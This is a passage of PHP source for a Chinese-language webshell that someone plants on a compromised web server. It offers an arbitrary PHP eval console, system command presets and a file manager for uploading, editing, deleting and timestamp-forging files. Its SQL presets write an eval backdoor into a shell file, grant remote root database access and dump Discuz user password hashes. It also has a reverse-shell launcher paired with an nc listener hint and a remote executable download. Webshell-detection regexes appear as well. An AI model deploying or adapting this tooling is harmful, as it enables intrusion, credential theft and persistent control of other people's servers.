--list">Linux-查看服务</option>';echo '<option value="/bin/ps -ef">Linux-查看进程</option>';echo '</select> ';echo '<input type="submit" style="width:50px;" value="执行">';echo '</div><div class="actall"><textarea style="width:698px;height:368px;">' . htmlspecialchars($res['res']) . '</textarea></div></form>';break;case "scan":$scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;$keyword = isset($_POST['keyword']) ? $_POST['keyword'] : '';$include = isset($_POST['include']) ? chop($_POST['include']) : '.php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py';$filters = isset($_POST['filters']) ? chop($_POST['filters']) : 'html|css|img|images|image|style|js';echo '<div class="msgbox">' . $msg . '</div>';echo '<form method="POST">';subeval();echo '<input type="hidden" name="go" id="go" value="scan">';echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';echo '<tr><td>搜索路径</td><td><input type="text" name="dir" value="' . htmlspecialchars($scandir) . '" style="width:500px;"></td></tr>';echo '<tr><td>搜索内容</td><td><input type="text" name="keyword" value="' . htmlspecialchars($keyword) . '" style="width:500px;"> (文件名或文件内容)</td></tr>';echo '<tr><td>文件后缀</td><td><input type="text" name="include" value="' . htmlspecialchars($include) . '" style="width:500px;"> (用"|"分割, 为空则搜索所有文件)</td></tr>';echo '<tr><td>过滤目录</td><td><input type="text" name="filters" value="' . htmlspecialchars($filters) . '" style="width:500px;"> (用"|"分割, 为空则不过滤目录)</td></tr>';echo '<tr><td>搜索方式</td><td><label><input type="radio" name="type" value="0"' . ($_POST['type'] ? '' : ' checked') . '>搜索文件名</label> ';echo '<label><input type="radio" name="type" value="1"' . ($_POST['type'] ? ' checked' : '') . '>搜索包含文字</label> ';echo '<label><input type="checkbox" name="char" value="1"' . ($_POST['char'] ? ' checked' : '') . '>匹配大小写</label></td></tr>';echo '<tr><td>搜索范围</td><td><label><input type="radio" name="range" value="0"' . ($_POST['range'] ? '' : ' checked') . '>将搜索应用于该文件夹,子文件夹和文件</label> ';echo '<label><input type="radio" name="range" value="1"' . ($_POST['range'] ? ' checked' : '') . '>仅将搜索应用于该文件夹</label></td></tr>';echo '<tr><td>操作</td><td><input type="submit" style="width:80px;" value="搜索"></td></tr>';echo '</table></form>';if ($keyword != '') {flush();ob_flush();echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';$incs = $include == '' ? false : explode('|', $include);$fits = $filters == '' ? false : explode('|', $filters);scanfile(strdir($scandir . '/'), $keyword, $incs, $fits, $_POST['type'], $_POST['char'], $_POST['range'], $nowdir);echo '搜索完成</div>';}break;case "antivirus":$scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;$typearr = isset($_POST['dir']) ? $_POST['types'] : array('php' => '.php');echo '<div class="msgbox">' . $msg . '</div>';echo '<form method="POST">';subeval();echo '<input type="hidden" name="go" id="go" value="antivirus">';echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';echo '<tr><td>扫描路径</td><td><input type="text" name="dir" value="' . htmlspecialchars($scandir) . '" style="width:500px;"></td></tr>';echo '<tr><td>查杀类型</td><td>';$types = array('php' => '.php','asp+aspx' => '.as|.cs|.cer','jsp' => '.jsp');foreach ($types as $key => $ex)echo '<label title="' . $ex . '"><input type="checkbox" name="types[' . $key . ']" value="' . $ex . '"' . ($typearr[$key] == $ex ? ' checked' : '') . '>' . $key . '</label> ';echo '</td></tr><tr><td>操作</td><td><input type="submit" style="width:80px;" value="扫描"></td></tr>';echo '</table></form>';if (count($_POST['types']) > 0) {$matches = array('php' => array('/function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|system|passthru)+[\'|\"]\s*\)/i','/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i','/(udp\:\/\/(.*)\;)+/i','/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i','/preg\_replace\s*\((.*)\(base64\_decode\(\$/i','/(eval|assert|include|require)+\s*\((.*)(base64\_decode|file\_get\_contents|php\:\/\/input)+/i','/(eval|assert|include|require|array\_map)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i','/\$\_(GET|POST|COOKIE|SERVER|SESSION)+(.*)(eval|assert|include|require)+\s*\(\s*\$(\w+)\s*\)/i','/\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\(\s*\$(.*)\)/i','/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\)/i','/(fopen|fwrite|fpust|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\](.*)\)/i','/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i','/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i','/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i','/\$\_\=(.*)\$\_/i'),'asp+aspx' => array('/(VBScript\.Encode|WScript\.shell|Shell\.Application|Scripting\.FileSystemObject)+/i','/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i','/(eval|execute)+(.*)request.item\s*\[(.*)\]/i','/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i','/\<script\s*runat\s*\=(.*)server(.*)\>(.*)\<\/script\>/i','/Load\s*\((.*)Request/i','/StreamWriter\(Server\.MapPath(.*)\.Write\(Request/i'),'jsp' => array('/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i','/(eval|execute)+(.*)request.item\s*\[(.*)\]/i','/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i','/Runtime\.getRuntime\(\)\.exec\((.*)\)/i','/FileOutputStream\(application\.getRealPath(.*)request/i'));flush();ob_flush();echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';antivirus(strdir($scandir . '/'), $typearr, $matches, $nowdir);echo '扫描完成</div>';}break;case "phpeval":if (isset($_POST['phpcode'])) {$phpcode = chop($_POST['phpcode']);ob_start();if (substr($phpcode, 0, 2) == '<?' && substr($phpcode, -2) == '?>') {@eval('?>' . $phpcode . '<?php ');} else {@eval($phpcode);}$out = ob_get_contents();ob_end_clean();} else {$phpcode = 'phpinfo();';$out     = '回显窗口';}echo base64_decode('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIHJ1bmNvZGUob2JqbmFtZSkge3ZhciB3aW5uYW1lID0gd2luZG93Lm9wZW4oJycsIl9ibGFuayIsJycpO3ZhciBvYmogPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChvYmpuYW1lKTt3aW5uYW1lLmRvY3VtZW50Lm9wZW4oJ3RleHQvaHRtbCcsJ3JlcGxhY2UnKTt3aW5uYW1lLm9wZW5lciA9IG51bGw7d2lubmFtZS5kb2N1bWVudC53cml0ZShvYmoudmFsdWUpO3dpbm5hbWUuZG9jdW1lbnQuY2xvc2UoKTt9PC9zY3JpcHQ+');echo '<div class="msgbox">' . $msg . '</div>';echo '<form method="POST">';subeval();echo '<input type="hidden" name="go" id="go" value="phpeval">';echo '<div class="actall"><p><textarea name="phpcode" id="phpcode" style="width:698px;height:180px;">' . htmlspecialchars($phpcode) . '</textarea></p><p>';echo '<select οnchange="$(\'phpcode\').value=options[selectedIndex].value">';echo '<option>---插件代码---</option>';echo '<option value="echo readfile(\'C:/web/t00ls.php\');">读取文件</option>';echo '<option value="$fp=fopen(\'C:/web/t00ls.php\',\'w\');echo fputs($fp,\'<?php eval($_POST[cmd]);?>\')?\'Success!\':\'Fail!\';fclose($fp);">写入文件</option>';echo '<option value="echo copy(\'C:/web/t00ls1.php\',\'C:/web/t00ls2.php\')?\'Success!\':\'Fail!\';">复制文件</option>';echo '<option value="echo file_put_contents(\'' . THISDIR . 'cmd.exe\', file_get_contents(\'http://www.baidu.com/cmd.exe\'))?\'Success!\':\'Fail!\';">远程下载</option>';echo '<option value="print_r($_SERVER);">环境变量</option>';echo '</select> ';echo '<input type="submit" style="width:80px;" value="执行"></p></div>';echo '</form><div class="actall"><p><textarea id="evalcode" style="width:698px;height:180px;">' . htmlspecialchars($out) . '</textarea></p><p><input type="button" value="以HTML运行以上代码" οnclick="runcode(\'evalcode\')"></p></div>';break;case "sql":if ((!empty($_POST['sqlhost'])) && (!empty($_POST['sqluser'])) && (!empty($_POST['names']))) {$type    = $_POST['type'];$sqlhost = $_POST['sqlhost'];$sqluser = $_POST['sqluser'];$sqlpass = $_POST['sqlpass'];$sqlname = $_POST['sqlname'];$sqlcode = $_POST['sqlcode'];$names   = $_POST['names'];switch ($type) {case "PostgreSql":if (function_exists('pg_close')) {if (strstr($sqlhost, ':')) {$array   = explode(':', $sqlhost);$sqlhost = $array[0];$sqlport = $array[1];} else {$sqlport = 5432;}$dbconn = @pg_connect("host=$sqlhost port=$sqlport dbname=$sqlname user=$sqluser password=$sqlpass");if ($dbconn) {$msg = '<h2>连接' . $type . '成功 </h2>';pg_query('set client_encoding=' . $names);$result = pg_query($sqlcode);if ($result) {$msg .= '<h2> - 执行SQL成功</h2>';while ($array = pg_fetch_array($result)) {$rows[] = $array;}} else {$msg .= '<h1> - 执行SQL失败</h1>';$rows = array('error' => pg_result_error($result));}pg_free_result($result);} else {$msg = '<h1>连接' . $type . '失败</h1>';}@pg_close($dbconn);} else {$msg = '<h1>不支持' . $type . '</h1>';}break;case "MsSql":if (function_exists('mssql_close')) {$dbconn = @mssql_connect($sqlhost, $sqluser, $sqlpass);if ($dbconn) {$msg = '<h2>连接' . $type . '成功 </h2>';mssql_select_db($sqlname, $dbconn);$result = mssql_query($sqlcode);if ($result) {$msg .= '<h2> - 执行SQL成功</h2>';while ($array = mssql_fetch_array($result)) {$rows[] = $array;}} else {$msg .= '<h1> - 执行SQL失败</h1>';}@mssql_free_result($result);} else {$msg = '<h1>连接' . $type . '失败</h1>';}@mssql_close($dbconn);} else {$msg = '<h1>不支持' . $type . '</h1>';}break;case "Oracle":if (function_exists('oci_close')) {$conn = @oci_connect($sqluser, $sqlpass, $sqlhost . '/' . $sqlname);if ($conn) {$msg  = '<h2>连接' . $type . '成功 </h2>';$stid = oci_parse($conn, $sqlcode);oci_execute($stid);if ($stid) {$msg .= '<h2> - 执行SQL成功</h2>';while (($array = oci_fetch_array($stid, OCI_ASSOC))) {$rows[] = $array;}} else {$msg .= '<h1> - 执行SQL失败</h1>';$e    = oci_error();$rows = array('error' => $e['message']);}oci_free_statement($stid);} else {$e    = oci_error();$rows = array('error' => $e['message']);$msg  = '<h1>连接' . $type . '失败</h1>';}@oci_close($conn);} else {$msg = '<h1>不支持' . $type . '</h1>';}break;case "MySql":if (function_exists('mysql_close')) {$conn = mysql_connect(strstr($sqlhost, ':') ? $sqlhost : $sqlhost . ':3306', $sqluser, $sqlpass, $sqlname);if ($conn) {$msg = '<h2>连接' . $type . '成功 </h2>';if (substr($sqlcode, 0, 7) == 't00lsa') {$array = array();$data  = '';$i     = 0;preg_match_all('/t00lsa\s*\'(.*)\'\s*t00lsb\s*\'(.*)\'\s*t00lsc\s*\'(.*)\'\s*t00lsfile\s*\'(.*)\'/i', $sqlcode, $array);if ($array[1][0] && $array[2][0] && $array[3][0] && $array[4][0]) {mysql_select_db($array[1][0], $conn);mysql_query('set names ' . $names, $conn);$spidercode = 'select ' . $array[3][0] . ' from `' . $array[2][0] . '`;';$result     = mysql_query($spidercode, $conn);if ($result) {while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$data .= join(' |x| ', $row) . "\r\n";$i++;}if ($data) {$file = strdir($array[4][0]);$msg .= filew($file, $data, 'w') ? '<h2> - 脱库成功</h2>' : '<h1> - 导出文件失败</h1>';$rows = array('file' => $file,size(filesize($file)) => '共获取' . $i . '条数据');} else {$msg .= '<h1> - 没有数据</h1>';}} else {$msg .= '<h1> - 执行SQL失败</h1>';$rows = array('errno' => mysql_errno(),'error' => mysql_error());}} else {$msg .= '<h1> - 脱库语句错误</h1>';}} elseif (!empty($sqlcode)) {mysql_select_db($sqlname, $conn);mysql_query('set names ' . $names, $conn);$result = mysql_query($sqlcode, $conn);if ($result) {$msg .= '<h2> - 执行SQL成功</h2>';while ($array = mysql_fetch_array($result, MYSQL_ASSOC)) {$rows[] = $array;}} else {$msg .= '<h1> - 执行SQL失败</h1>';$rows = array('errno' => mysql_errno(),'error' => mysql_error());}}mysql_free_result($result);} else {$msg  = '<h1>连接' . $type . '失败</h1>';$rows = array('errno' => mysql_errno(),'error' => mysql_error());}mysql_close($conn);} else {$msg = '<h1>不支持' . $type . '</h1>';}break;}} else {$type    = 'MySql';$sqlhost = 'localhost:3306';$sqluser = 'root';$sqlpass = '123456';$sqlname = 'mysql';$sqlcode = 'select version();';$names   = 'gbk';}echo '<div class="msgbox">' . $msg . '</div>';echo '<form method="POST">';subeval();echo '<input type="hidden" name="go" id="go" value="sql">';echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';echo '<tr><td>支持类型</td><td>';$dbs = array('MySql','MsSql','Oracle','PostgreSql');foreach ($dbs as $dbname) {echo '<label><input type="radio" name="type" value="' . $dbname . '"' . ($type == $dbname ? ' checked' : '') . '>' . $dbname . '</label> ';}echo '</td></tr><tr><td>连接</td><td>地址 <input type="text" name="sqlhost" style="width:188px;" value="' . $sqlhost . '"> ';echo '用户 <input type="text" name="sqluser" style="width:108px;" value="' . $sqluser . '"> ';echo '密码 <input type="text" name="sqlpass" style="width:108px;" value="' . $sqlpass . '"> ';echo '库名 <input type="text" name="sqlname" style="width:108px;" value="' . $sqlname . '"></td></tr>';echo '<tr><td>语句<br>';echo '<select οnchange="$(\'sqlcode\').value=options[selectedIndex].value">';echo '<option value="select version();">---语句集合---</option>';echo '<option value="select \'<?php eval ($_POST[cmd]);?>\' into outfile \'D:/web/shell.php\';">写入文件</option>';echo '<option value="GRANT ALL PRIVILEGES ON *.* TO \'' . $sqluser . '\'@\'%\' IDENTIFIED BY \'' . $sqlpass . '\' WITH GRANT OPTION;">开启外连</option>';echo '<option value="show variables;">系统变量</option>';echo '<option value="create database t00ls;">创建数据库</option>';echo '<option value="create table `t00ls` (`id` INT(10) NOT NULL ,`user` VARCHAR(32) NOT NULL ,`pass` VARCHAR(32) NOT NULL) TYPE = MYISAM;">创建数据表</option>';echo '<option value="show databases;">显示数据库</option>';echo '<option value="show tables from `' . $sqlname . '`;">显示数据表</option>';echo '<option value="show columns from `t00ls`;">显示表结构</option>';echo '<option value="drop table `t00ls`;">删除数据表</option>';echo '<option value="select username,password,salt,email from `pre_ucenter_members` limit 0,30;">显示字段</option>';echo '<option value="insert into `admin` (`user`,`pass`) values (\'t00ls\', \'f1a81d782dea6a19bdca383bffe68452\');">插入数据</option>';echo '<option value="update `admin` set `user` = \'t00ls1\',`pass` = \'50de237e389600acadbeda3d6e6e0b1f\' where `user` = \'t00ls\' and `pass` = \'f1a81d782dea6a19bdca383bffe68452\' limit 1;">修改数据</option>';echo '<option value="t00lsa \'discuzx25\' t00lsb \'pre_ucenter_members\' t00lsc \'username,password,salt,email\' t00lsfile \'' . THISDIR . 'out.txt\';">脱库(MySql)</option>';echo '</select>';echo '</td><td><textarea name="sqlcode" id="sqlcode" style="width:680px;height:80px;">' . htmlspecialchars($sqlcode) . '</textarea></td></tr>';echo '<tr><td>操作</td><td><select name="names">';$charsets = array('gbk','utf8','big5','latin1','cp866','ujis','euckr','koi8r','koi8u');foreach ($charsets as $charset) {echo '<option value="' . $charset . '"' . ($names == $charset ? ' selected' : '') . '>' . $charset . '</option>';}echo '</select> <input type="submit" style="width:80px;" value="执行"></td></tr>';echo '</table></form>';if ($rows) {echo '<pre style="padding:5px;background:#F8F8F8;text-align:left;">';ob_start();print_r($rows);$out = ob_get_contents();ob_end_clean();if (preg_match('~[\x{4e00}-\x{9fa5}]+~u', $out) && function_exists('iconv')) {$out = @iconv('UTF-8', 'GB2312//IGNORE', $out);}echo htmlspecialchars($out);echo '</pre>';}break;case "backshell":if ((!empty($_POST['backip'])) && (!empty($_POST['backport']))) {$backip   = $_POST['backip'];$backport = $_POST['backport'];$temp     = $_POST['temp'] ? $_POST['temp'] : '/tmp';$type     = $_POST['type'];$msg      = backshell($backip, $backport, $temp, $type);} else {$backip   = $_SERVER['REMOTE_ADDR'];$backport = '443';$temp     = '/tmp';$type     = 'pl';$msg      = 'PHP反弹可兼容Linux和Windows 其余方法只用于Linux';}echo '<div class="msgbox">' . $msg . '</div>';echo '<form method="POST">';subeval();echo '<input type="hidden" name="go" id="go" value="backshell">';echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';echo '<tr><td>反弹地址</td><td><input type="text" name="backip" style="width:268px;" value="' . $backip . '"> (Your ip)</td></tr>';echo '<tr><td>反弹端口</td><td><input type="text" name="backport" style="width:268px;" value="' . $backport . '"> (nc -vvlp ' . $backport . ')</td></tr>';echo '<tr><td>临时目录</td><td><input type="text" name="temp" style="width:268px;" value="' . $temp . '"> (Only Linux)</td></tr>';echo '<tr><td>反弹方法</td><td>';$types = array('pl' => 'Perl','py' => 'Python','c' => 'C-bin','pcntl' => 'Pcntl','php' => 'PHP','phpwin' => 'PHP-COM');foreach ($types as $key => $name) {echo '<label><input type="radio" name="type" value="' . $key . '"' . ($key == $type ? ' checked' : '') . '>' . $name . '</label> ';}echo '</td></tr><tr><td>操作</td><td><input type="submit" style="width:80px;" value="反弹"></td></tr>';echo '</table></form>';break;case "edit":case "editor":$file  = strdir($_POST['godir'] . '/' . $_POST['govar']);$iconv = function_exists('iconv');if (!file_exists($file)) {$msg = '【新建文件】';} else {$code = filer($file);$chst = '默认';if (preg_match('~[\x{4e00}-\x{9fa5}]+~u', $code) && $iconv) {$chst = 'utf-8';$code = @iconv('UTF-8', 'GB2312//IGNORE', $code);}$size = size(filesize($file));$msg  = '【文件属性 ' . substr(decoct(fileperms($file)), -4) . '】 【文件大小 ' . $size . '】 【文件编码 ' . $chst . '】';}echo base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg==');echo '<div class="msgbox"><input name="keyword" id="keyword" type="text" style="width:138px;height:15px;"><input type="button" value="IE查找内容" οnclick="search($(\'keyword\').value);"> - ' . $msg . '</div>';echo '<form name="editfrm" id="editfrm" method="POST">';subeval();echo '<input type="hidden" name="go" value=""><input type="hidden" name="act" id="act" value="edit">';echo '<input type="hidden" name="dir" id="dir" value="' . dirname($file) . '">';echo '<div class="actall">文件 <input type="text" name="filename" value="' . $file . '" style="width:528px;"> ';if ($iconv) {echo '编码 <select name="tostr">';$selects = array('normal' => '默认','utf' => 'utf-8');foreach ($selects as $var => $name) {echo '<option value="' . $var . '"' . ($name == $chst ? ' selected' : '') . '>' . $name . '</option>';}echo '</select>';}echo '</div><div class="actall"><textarea name="filecode" id="filecode" style="width:698px;height:358px;">' . htmlspecialchars($code) . '</textarea></div></form>';echo '<div class="actall" style="padding:5px;padding-right:68px;"><input type="button" οnclick="$(\'editfrm\').submit();" value="保存" style="width:80px;"> ';echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . dirname($file) . '">';subeval();echo '<input type="button" οnclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';break;case "upfiles":$updir = isset($_POST['updir']) ? $_POST['updir'] : $_POST['godir'];$msg   = '【最大上传文件 ' . get_cfg_var("upload_max_filesize") . '】 【POST最大提交数据 ' . get_cfg_var("post_max_size") . '】';$max   = 10;if (isset($_FILES['uploads']) && isset($_POST['renames'])) {$uploads = $_FILES['uploads'];$msgs    = array();for ($i = 1; $i < $max; $i++) {if ($uploads['error'][$i] == UPLOAD_ERR_OK) {$rename   = $_POST['renames'][$i] == '' ? $uploads['name'][$i] : $_POST['renames'][$i];$filea    = $uploads['tmp_name'][$i];$fileb    = strdir($updir . '/' . $rename);$msgs[$i] = fileu($filea, $fileb) ? '<br><h2>上传成功 ' . $rename . '</h2>' : '<br><h1>上传失败 ' . $rename . '</h1>';}}}echo '<div class="msgbox">' . $msg . '</div>';echo '<form name="upsfrm" id="upsfrm" method="POST" enctype="multipart/form-data">';subeval();echo '<input type="hidden" name="go" value="upfiles"><input type="hidden" name="act" id="act" value="upload">';echo '<div class="actall"><p>上传到目录 <input type="text" name="updir" style="width:398px;" value="' . $updir . '"></p>';for ($i = 1; $i < $max; $i++) {echo '<p>附件' . $i . ' <input type="file" name="uploads[' . $i . ']" style="width:300px;"> 重命名 <input type="text" name="renames[' . $i . ']" style="width:128px;"> ' . $msgs[$i] . '</p>';}echo '</div></form><div class="actall" style="padding:8px;padding-right:68px;"><input type="button" οnclick="$(\'upsfrm\').submit();" value="上传" style="width:80px;"> ';echo '<form name="backfrm" id="backfrm" method="POST"><input type="hidden" name="go" value=""><input type="hidden" name="dir" id="dir" value="' . $updir . '">';subeval();echo '<input type="button" οnclick="$(\'backfrm\').submit();" value="返回" style="width:80px;"></form></div>';break;default:if (isset($_FILES['upfile'])) {if ($_FILES['upfile']['name'] == '') {$msg = '<h1>请选择文件</h1>';} else {$rename = $_POST['rename'] == '' ? $_FILES['upfile']['name'] : $_POST['rename'];$filea  = $_FILES['upfile']['tmp_name'];$fileb  = strdir($nowdir . $rename);$msg    = fileu($filea, $fileb) ? '<h2>上传文件' . $rename . '成功</h2>' : '<h1>上传文件' . $rename . '失败</h1>';}}if (isset($_POST['act'])) {switch ($_POST['act']) {case "a":if (!$_POST['files']) {$msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';} else {$i = 0;foreach ($_POST['files'] as $filename) {$i += @copy(strdir($nowdir . $filename), strdir($_POST['var'] . '/' . $filename)) ? 1 : 0;}$msg = $msg = $i ? '<h2>共复制 ' . $i . ' 个文件到' . $_POST['var'] . '成功</h2>' : '<h1>共复制 ' . $i . ' 个文件到' . $_POST['var'] . '失败</h1>';}break;case "b":if (!$_POST['files']) {$msg = '<h1>请选择文件</h1>';} else {$i = 0;foreach ($_POST['files'] as $filename) {$i += @unlink(strdir($nowdir . $filename)) ? 1 : 0;}$msg = $i ? '<h2>共删除 ' . $i . ' 个文件成功</h2>' : '<h1>共删除 ' . $i . ' 个文件失败</h1>';}break;case "c":if (!$_POST['files']) {$msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';} elseif (!ereg("^[0-7]{4}$", $_POST['var'])) {$msg = '<h1>属性值错误</h1>';} else {$i = 0;foreach ($_POST['files'] as $filename) {$i += @chmod(strdir($nowdir . $filename), base_convert($_POST['var'], 8, 10)) ? 1 : 0;}$msg = $i ? '<h2>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改属性为' . $_POST['var'] . '失败</h1>';}break;case "d":if (!$_POST['files']) {$msg = '<h1>请选择文件 ' . $_POST['var'] . '</h1>';} elseif (!preg_match('/(\d+)-(\d+)-(\d+) (\d+):(\d+):(\d+)/', $_POST['var'])) {$msg = '<h1>时间格式错误 ' . $_POST['var'] . '</h1>';} else {$i = 0;foreach ($_POST['files'] as $filename) {$i += @touch(strdir($nowdir . $filename), strtotime($_POST['var'])) ? 1 : 0;}$msg = $i ? '<h2>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '成功</h2>' : '<h1>共 ' . $i . ' 个文件修改时间为' . $_POST['var'] . '失败</h1>';}break;case "e":$path = strdir($nowdir . $_POST['var'] . '/');if (file_exists($path)) {$msg = '<h1>目录已存在 ' . $_POST['var'] . '</h1>';} else {$msg = @mkdir($path, 0777) ? '<h2>创建目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>创建目录 ' . $_POST['var'] . ' 失败</h1>';}break;case "rf":$files = explode('|x|', $_POST['var']);if (count($files) != 2) {$msg = '<h1>输入错误</h1>';} else {$msg = @rename(strdir($nowdir . $files[1]), strdir($nowdir . $files[0])) ? '<h2>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 成功</h2>' : '<h1>重命名 ' . $files[1] . ' 为 ' . $files[0] . ' 失败</h1>';}break;case "pd":$files = explode('|x|', $_POST['var']);if (count($files) != 2) {$msg = '<h1>输入错误</h1>';} else {$path = strdir($nowdir . $files[1]);$msg  = @chmod($path, base_convert($files[0], 8, 10)) ? '<h2>修改' . $files[1] . '属性为' . $files[0] . '成功</h2>' : '<h1>修改' . $files[1] . '属性为' . $files[0] . '失败</h1>';}break;case "edit":if (isset($_POST['filename']) && isset($_POST['filecode'])) {if ($_POST['tostr'] == 'utf') {$_POST['filecode'] = @iconv('GB2312//IGNORE', 'UTF-8', $_POST['filecode']);}$msg = filew($_POST['filename'], $_POST['filecode'], 'w') ? '<h2>保存成功 ' . $_POST['filename'] . '</h2>' : '<h1>保存失败 ' . $_POST['filename'] . '</h1>';}break;case "deltree":$deldir = strdir($nowdir . $_POST['var'] . '/');if (!file_exists($deldir)) {$msg = '<h1>目录 ' . $_POST['var'] . ' 不存在</h1>';} else {$msg = deltree($deldir) ? '<h2>删除目录 ' . $_POST['var'] . ' 成功</h2>' : '<h1>删除目录 ' . $_POST['var'] . ' 失败</h1>';}break;}}$array   = showdir($nowdir);$thisurl = strdir('/' . strtr($nowdir, array(ROOTDIR => '')) . '/');$chown   = substr(decoct(fileperms($nowdir)), -4);if (!$chown) {$chown = '0000';}$nowdir = strtr($nowdir, array('\'' => '%27','"' => '%22'));echo '<div class="msgbox">' . $msg . '</div>';echo '<div class="actall"><form name="frm" id="frm" method="POST">';subeval();echo '当前路径(' . $chown . ') <input type="text" name="dir" id="dir" style="width:500px;" value="' . strdir($nowdir . '/') . '"> ';echo '<input type="button" οnclick="$(\'frm\').submit();" style="width:50px;" value="转到"> ';echo '<select οnchange="cd(options[selectedIndex].value);">';echo '<option>---特殊目录---</option>';echo '<option value="' . ROOTDIR . '"> 网站根目录 </option>';echo '<option value="' . THISDIR . '"> 本程序目录 </option>';echo '<option value="C:/RECYCLER/">Win-RECYCLER</option>';echo '<option value="C:/$Recycle.Bin/">Win-$Recycle</option>';echo '<option value="C:/Program Files/">Win-Program</option>';echo '<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup/">Win-Startup</option>';echo '<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动/">Win-启动</option>';echo '<option value="C:/Windows/Temp/">Win-TEMP</option>';echo '<option value="/usr/local/">Linux-local</option>';echo '<option value="/tmp/">Linux-tmp</option>';echo '<option value="/etc/">Linux-etc</option>';echo '</select></form></div><div class="actall">';echo '<input type="button" value="新建文件" οnclick="nf(\'edit\',\'newfile.php\');" style="width:80px;"> ';echo '<input type="button" value="创建目录" οnclick="txts(\'目录名\',\'newdir\',\'e\');" style="width:80px;"> ';echo '<input type="button" value="批量上传" οnclick="go(\'upfiles\',\'' . $nowdir . '\');" style="width:80px;"> ';echo '<form name="upfrm" id="upfrm" method="POST" enctype="multipart/form-data">';subeval();echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">';echo '<input type="file" name="upfile" style="width:256px;height:21px;"> ';echo '<input type="button" οnclick="$(\'upfrm\').submit();" value="上传" style="width:50px;"> ';echo '上传重命名为 <input type="text" name="rename" style="width:128px;">';echo '</form></div>';echo '<form name="frm1" id="frm1" method="POST"><table class="tables">';subeval();echo '<input type="hidden" name="dir" id="dir" value="' . $nowdir . '">';echo '<input type="hidden" name="act" id="act" value="">';echo '<input type="hidden" name="var" id="var" value="">';echo '<th><a href="javascript:void(0);" οnclick="cd(\'' . dirname($nowdir) . '/\');">上级目录</a></th><th style="width:8%">操作</th><th style="width:5%">属性</th><th style="width:17%">创建时间</th><th style="width:17%">修改时间</th><th style="width:8%">下载</th>';if ($array) {asort($array['dir']);asort($array['file']);$dnum = $fnum = 0;foreach ($array['dir'] as $path => $name) {$prem  = substr(decoct(fileperms($path)), -4);$ctime = date('Y-m-d H:i:s', filectime($path));$mtime = date('Y-m-d H:i:s', filemtime($path));echo '<tr>';echo '<td><a href="javascript:void(0);" οnclick="cd(\'' . $nowdir . $name . '\');"><b>' . strtr($name, array('%27' => '\'','%22' => '"')) . '</b></a></td>';echo '<td><a href="javascript:void(0);" οnclick="dels(\'' . $name . '\');">删除</a> ';echo '<a href="javascript:void(0);" οnclick="acts(\'' . $name . '\',\'rf\',\'' . $name . '\');">改名</a></td>';echo '<td><a href="javascript:void(0);" οnclick="acts(\'' . $prem . '\',\'pd\',\'' . $name . '\');">' . $prem . '</a></td>';echo 